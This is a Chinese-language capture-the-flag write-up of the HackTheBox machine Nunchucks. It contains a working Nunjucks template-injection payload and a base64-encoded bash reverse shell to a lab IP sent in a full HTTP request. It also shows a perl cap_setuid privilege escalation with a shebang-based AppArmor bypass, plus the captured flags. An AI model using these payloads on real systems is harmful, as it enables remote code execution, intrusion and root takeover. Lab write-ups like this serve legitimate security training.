Nunchucks HTB Writeup
知识点
1、关注下使用wfuzz
收集子域名的方案
2、模板注入
3、capabilities提权
4、apparmor控制权限及bypass
WP
user 权限
nmap扫描主机,发现
01.png直接访问https服务,发现是一个在线售卖网站,登陆和注册功能都用不了。
02.pngecho 10.10.11.122 nunchucks.htb >> /etc/hosts
我使用gobuster
进行了子域名收集,但是没有收获有效的结果(后来我反应过来,我为啥要这么干呢。。。。压根没有添加对应的域名和IP映射到host文件,所以这样压根搞不到子域名,是我太傻了。。。。)
┌──(root㉿kali)-[/home/kali]
└─# gobuster dns -d nunchucks.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Domain: nunchucks.htb
[+] Threads: 10
[+] Timeout: 1s
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
===============================================================
2023/03/07 14:56:49 Starting gobuster in DNS enumeration mode
===============================================================
Progress: 19966 / 19967 (99.99%)
===============================================================
2023/03/07 14:58:06 Finished
===============================================================
换个工具wfuzz
再收集一波
┌──(root㉿kali)-[/home/kali]
└─# wfuzz -H "Host: FUZZ.nunchucks.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hh 30587 https://nunchucks.htb
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: https://nunchucks.htb/
Total requests: 4989
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000081: 200 101 L 259 W 4028 Ch "store"
Total time: 21.62489
Processed Requests: 4989
Filtered Requests: 4988
Requests/sec.: 230.7063
收获了子域名store.nunchucks.htb
,添加到/etc/hosts
文件内
抓包看了下后端用了啥框架,看到了X-Powered-By:Express
上网搜索了一下这个框架,发现是一个模板引擎,既然是模板引擎可以测试下
05.png进一步确定了应该是有模板注入发现的,而且后端语言是node.js
06.png随便输入一个被{{payload}}
包裹的表达式,可以看到payload已经执行了,说明存在模板注入漏洞
我自己找了个node的反弹shell,尝试失败,继续找现成的POC,找到现在的这个链接
http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
# 因为传递参数是json传递的,所以需要用`\`转义一下"
{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')\")()}}
08.png
{"response":"You will receive updates on the following email address: aa
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false\n
rtkit:x:113:117:RealtimeKit,,,:/proc:/usr/sbin/nologin\n
dnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin\n
geoclue:x:115:120::/var/lib/geoclue:/usr/sbin/nologin\n
avahi:x:116:122:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin\n
cups-pk-helper:x:117:123:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin\n
saned:x:118:124::/var/lib/saned:/usr/sbin/nologin\n
colord:x:119:125:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin\npulse:x:120:126:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin\n
mysql:x:121:128:MySQL Server,,,:/nonexistent:/bin/false\n@bbbb.com."}
在这个成功的poc基础上,继续尝试反弹shell,先用base64编码一下nc反弹shell
┌──(kali㉿192)-[~]
└─$ echo 'bash -c "bash -i >& /dev/tcp/10.10.14.9/1234 0>&1"' | base64
YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC45LzEyMzQgMD4mMSIK
payload
echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC45LzEyMzQgMD4mMSIK |base64 -d |bash
POST /api/submit HTTP/1.1
Host: store.nunchucks.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://store.nunchucks.htb/
Content-Type: application/json
Origin: https://store.nunchucks.htb
Content-Length: 212
Connection: keep-alive
Cookie: _csrf=9Kn5buLz97YvNEt2h4BO-bFm
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
{"email":"aa{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC45LzEyMzQgMD4mMSIK |base64 -d |bash')\")()}}@bbbb.com"}
成功拿到反弹shell权限
09.pngdavid@nunchucks:~$ cat user.txt
cat user.txt
0264f47a6a50adb0c8280ef1680c60d8
root 权限
尝试了sudo -l
没有结果
直接看看用户目录下有啥有意思的文件
david@nunchucks:~$ ls -al
ls -al
total 52
drwxr-xr-x 7 david david 4096 Oct 22 2021 .
drwxr-xr-x 3 root root 4096 Aug 28 2021 ..
lrwxrwxrwx 1 root root 9 Aug 28 2021 .bash_history -> /dev/null
-rw-r--r-- 1 david david 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 david david 3771 Feb 25 2020 .bashrc
drwxr-xr-x 7 david david 4096 Sep 25 2021 .cache
drwx------ 8 david david 4096 Sep 25 2021 .config
drwx------ 3 david david 4096 Sep 25 2021 .gnupg
drwx------ 3 david david 4096 Sep 25 2021 .local
drwxrwxr-x 5 david david 4096 Mar 7 12:51 .pm2
-rw-r--r-- 1 david david 807 Feb 25 2020 .profile
-r--r----- 1 root david 33 Mar 7 12:51 user.txt
-rw------- 1 david david 5116 Oct 22 2021 .viminfo
发现了.viminfo
文件,当然是选择康康
david@nunchucks:~$ cat .viminfo
cat .viminfo
# This viminfo file was generated by Vim 8.1.
# You may edit it if you're careful!
# Viminfo version
|1,4
# Value of 'encoding' when this file was written
*encoding=utf-8
# hlsearch on (H) or off (h):
~h
# Command Line History (newest to oldest):
:wq
|2,0,1634930489,,"wq"
:q
|2,0,1634930488,,"q"
# Search String History (newest to oldest):
# Expression History (newest to oldest):
# Input Line History (newest to oldest):
# Debug Line History (newest to oldest):
# Registers:
""1 LINE 0
use DBI;
|3,1,1,1,1,0,1634930467,"use DBI;"
"2 LINE 0
use strict;
|3,0,2,1,1,0,1634930465,"use strict;"
"3 LINE 0
my $tmpdir = "/tmp";
my $backup_main = '/var/www';
my $now = strftime("%Y-%m-%d-%s", localtime);
my $tmpbdir = "$tmpdir/backup_$now";
sub printlog
{
print "[", strftime("%D %T", localtime), "] $_[0]\n";
}
sub archive
{
printlog "Archiving...";
system("/usr/bin/tar -zcf $tmpbdir/backup_$now.tar $backup_main/* 2>/dev/null");
printlog "Backup complete in $tmpbdir/backup_$now.tar";
}
if ($> != 0) {
die "You must run this script as root.\n";
}
printlog "Backup starts.";
mkdir($tmpbdir);
&archive;
printlog "Moving $tmpbdir/backup_$now to /opt/web_backups";
system("/usr/bin/mv $tmpbdir/backup_$now.tar /opt/web_backups/");
printlog "Removing temporary directory";
rmdir($tmpbdir);
printlog "Completed";
|3,0,3,1,29,0,1634930146,"my $tmpdir = \"/tmp\";","my $backup_main = '/var/www';","my $now = strftime(\"%Y-%m-%d-%s\", localtime);","my $tmpbdir = \"$tmpdir/backup_$now\";","","sub printlog","{"," print \"[\", strftime(\"%D %T\", localtime), \"] $_[0]\\n\";","}","","sub archive","{"," printlog \"Archiving...\";"," system(\"/usr/bin/tar -zcf $tmpbdir/backup_$now.tar $backup_main/* 2>/dev/null\");",>63
|<" printlog \"Backup complete in $tmpbdir/backup_$now.tar\";","}","","if ($> != 0) {"," die \"You must run this script as root.\\n\";","}","","printlog \"Backup starts.\";","mkdir($tmpbdir);","&archive;","printlog \"Moving $tmpbdir/backup_$now to /opt/web_backups\";","system(\"/usr/bin/mv $tmpbdir/backup_$now.tar /opt/web_backups/\");","printlog \"Removing temporary directory\";","rmdir($tmpbdir);","printlog \"Completed\";"
"4 LINE 0
my $tmpdir = "/tmp";
my $backup_main = '/var/www';
my $now = strftime("%Y-%m-%d-%s", localtime);
my $tmpbdir = "$tmpdir/backup_$now";
sub printlog
{
print "[", strftime("%D %T", localtime), "] $_[0]\n";
}
sub archive
{
printlog "Archiving...";
system("/usr/bin/tar -zcf $tmpbdir/backup_$now.tar $backup_main/* 2>/dev/null");
printlog "Backup complete in $tmpbdir/backup_$now.tar";
}
if ($> != 0) {
die "You must run this script as root.\n";
}
printlog "Backup starts.";
mkdir($tmpbdir);
&archive;
printlog "Moving $tmpbdir/backup_$now to /opt/web_backups";
system("/usr/bin/mv $tmpbdir/backup_$now.tar /opt/web_backups/");
printlog "Removing temporary directory";
rmdir($tmpbdir);
printlog "Completed";
|3,0,4,1,29,0,1634930009,"my $tmpdir = \"/tmp\";","my $backup_main = '/var/www';","my $now = strftime(\"%Y-%m-%d-%s\", localtime);","my $tmpbdir = \"$tmpdir/backup_$now\";","","sub printlog","{"," print \"[\", strftime(\"%D %T\", localtime), \"] $_[0]\\n\";","}","","sub archive","{"," printlog \"Archiving...\";"," system(\"/usr/bin/tar -zcf $tmpbdir/backup_$now.tar $backup_main/* 2>/dev/null\");",>63
|<" printlog \"Backup complete in $tmpbdir/backup_$now.tar\";","}","","if ($> != 0) {"," die \"You must run this script as root.\\n\";","}","","printlog \"Backup starts.\";","mkdir($tmpbdir);","&archive;","printlog \"Moving $tmpbdir/backup_$now to /opt/web_backups\";","system(\"/usr/bin/mv $tmpbdir/backup_$now.tar /opt/web_backups/\");","printlog \"Removing temporary directory\";","rmdir($tmpbdir);","printlog \"Completed\";"
# File marks:
'0 3 0 /tmp/a.pl
|4,48,3,0,1634930489,"/tmp/a.pl"
'1 6 5 /tmp/a.pl
|4,49,6,5,1634930149,"/tmp/a.pl"
'2 8 5 /tmp/a.pl
|4,50,8,5,1634930149,"/tmp/a.pl"
'3 7 13 /tmp/a.pl
|4,51,7,13,1634930030,"/tmp/a.pl"
'4 6 13 /tmp/a.pl
|4,52,6,13,1634930030,"/tmp/a.pl"
'5 9 13 /tmp/a.pl
|4,53,9,13,1634930030,"/tmp/a.pl"
'6 8 13 /tmp/a.pl
|4,54,8,13,1634930030,"/tmp/a.pl"
'7 1 0 /tmp/a.pl
|4,55,1,0,1634929961,"/tmp/a.pl"
'8 1 0 /tmp/a.pl
|4,56,1,0,1634929961,"/tmp/a.pl"
'9 1 0 /tmp/a.pl
|4,57,1,0,1634929961,"/tmp/a.pl"
# Jumplist (newest first):
-' 3 0 /tmp/a.pl
|4,39,3,0,1634930489,"/tmp/a.pl"
-' 6 5 /tmp/a.pl
|4,39,6,5,1634930460,"/tmp/a.pl"
-' 8 5 /tmp/a.pl
|4,39,8,5,1634930149,"/tmp/a.pl"
-' 7 13 /tmp/a.pl
|4,39,7,13,1634930135,"/tmp/a.pl"
-' 9 13 /tmp/a.pl
|4,39,9,13,1634930135,"/tmp/a.pl"
-' 8 13 /tmp/a.pl
|4,39,8,13,1634930030,"/tmp/a.pl"
-' 1 0 /tmp/a.pl
|4,39,1,0,1634930004,"/tmp/a.pl"
-' 1 0 /tmp/a.pl
|4,39,1,0,1634930004,"/tmp/a.pl"
-' 1 0 /tmp/a.pl
|4,39,1,0,1634930004,"/tmp/a.pl"
-' 1 0 /tmp/a.pl
|4,39,1,0,1634929961,"/tmp/a.pl"
# History of marks within files (newest to oldest):
> /tmp/a.pl
* 1634930489 0
" 3 0
. 3 0
+ 7 0
+ 7 13
+ 6 13
+ 7 0
+ 2 0
+ 3 0
会备份web目录到/opt/web_backups/
目录下
system("/usr/bin/mv $tmpbdir/backup_$now.tar /opt/web_backups/");
我们来看看/opt
目录下都有啥
david@nunchucks:/etc/apparmor.d$ ls -al /opt
ls -al /opt
total 16
drwxr-xr-x 3 root root 4096 Oct 28 2021 .
drwxr-xr-x 19 root root 4096 Oct 28 2021 ..
-rwxr-xr-x 1 root root 838 Sep 1 2021 backup.pl
drwxr-xr-x 2 root root 4096 Oct 28 2021 web_backups
我们可以通过capabilities提权
# 测试可执行文件
getcap -r / 2>/dev/null
david@nunchucks:/var/www/store.nunchucks$ getcap -r / 2>/dev/null
getcap -r / 2>/dev/null
/usr/bin/perl = cap_setuid+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
找到有setuid权限的是/usr/bin/perl
使用perl的提权语句
10.pngperl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "cat /root/root.txt";'
执行失败
david@nunchucks:/var/www/store.nunchucks$ perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
david@nunchucks:/var/www/store.nunchucks$ id
id
uid=1000(david) gid=1000(david) groups=1000(david)
david@nunchucks:/var/www/store.nunchucks$ cat /root/root.txt
cat /root/root.txt
cat: /root/root.txt: Permission denied
david@nunchucks:/var/www/store.nunchucks$ perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "cat /root/root.txt";'
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "cat /root/root.txt";'
cat: /root/root.txt: Permission denied
david@nunchucks:/var/www/store.nunchucks$
失败原因:这个机器上还有apparmor
来控制应用权限
david@nunchucks:/etc$ cd apparmor.d
cd apparmor.d
david@nunchucks:/etc/apparmor.d$ ls -al
ls -al
total 72
drwxr-xr-x 7 root root 4096 Oct 28 2021 .
drwxr-xr-x 125 root root 12288 Mar 7 12:51 ..
drwxr-xr-x 4 root root 4096 Oct 28 2021 abstractions
drwxr-xr-x 2 root root 4096 Oct 28 2021 disable
drwxr-xr-x 2 root root 4096 Oct 28 2021 force-complain
drwxr-xr-x 2 root root 4096 Oct 28 2021 local
-rw-r--r-- 1 root root 1313 May 19 2020 lsb_release
-rw-r--r-- 1 root root 1108 May 19 2020 nvidia_modprobe
-rw-r--r-- 1 root root 3222 Mar 11 2020 sbin.dhclient
drwxr-xr-x 5 root root 4096 Oct 28 2021 tunables
-rw-r--r-- 1 root root 3202 Feb 25 2020 usr.bin.man
-rw-r--r-- 1 root root 442 Sep 26 2021 usr.bin.perl
-rw-r--r-- 1 root root 672 Feb 19 2020 usr.sbin.ippusbxd
-rw-r--r-- 1 root root 2006 Jul 22 2021 usr.sbin.mysqld
-rw-r--r-- 1 root root 1575 Feb 11 2020 usr.sbin.rsyslogd
-rw-r--r-- 1 root root 1385 Dec 7 2019 usr.sbin.tcpdump
david@nunchucks:/etc/apparmor.d$ cat usr.bin
cat usr.bin
cat: usr.bin: No such file or directory
david@nunchucks:/etc/apparmor.d$ cat usr.bin.perl
cat usr.bin.perl
# Last Modified: Tue Aug 31 18:25:30 2021
#include <tunables/global>
/usr/bin/perl {
#include <abstractions/base>
#include <abstractions/nameservice>
#include <abstractions/perl>
capability setuid,
deny owner /etc/nsswitch.conf r,
deny /root/* rwx,
deny /etc/shadow rwx,
/usr/bin/id mrix,
/usr/bin/ls mrix,
/usr/bin/cat mrix,
/usr/bin/whoami mrix,
/opt/backup.pl mrix,
owner /home/ r,
owner /home/david/ r,
}
也就是通过上述perl命令提升权限后只能执行几个有限的命令,/root
目录下的文件我们都获取不到。
直接google关键词
12.pnglink:https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/apparmor
我们看到可以通过shebang
来绕过限制,这里提一下什么是shebang
,其实就是脚本开始时候的#!
规定解释器位置
echo '#!/usr/bin/perl
use POSIX qw(strftime);
use POSIX qw(setuid);
POSIX::setuid(0);
exec "/bin/sh"' > /tmp/test.pl
chmod +x /tmp/test.pl
/tmp/test.pl
成功拿到root
权限
david@nunchucks:/tmp$ echo '#!/usr/bin/perl
use POSIX qw(strftime);
use POSIX qw(setuid);
POSIX::setuid(0);
exec "/bin/sh"' > /tmp/test.pl
chmod +x /tmp/test.pl
/tmp/test.plecho '#!/usr/bin/perl
> use POSIX qw(strftime);
> use POSIX qw(setuid);
> POSIX::setuid(0);
> exec "/bin/sh"' > /tmp/test.pl
david@nunchucks:/tmp$ chmod +x /tmp/test.pl
david@nunchucks:/tmp$ ls
/tmp/test.plls
bash: /tmp/test.plls: No such file or directory
david@nunchucks:/tmp$ ./test.pl
./test.pl
id
uid=0(root) gid=1000(david) groups=1000(david)
cat /root/root.txt
40b84cb277e55c6230f828860b7b709f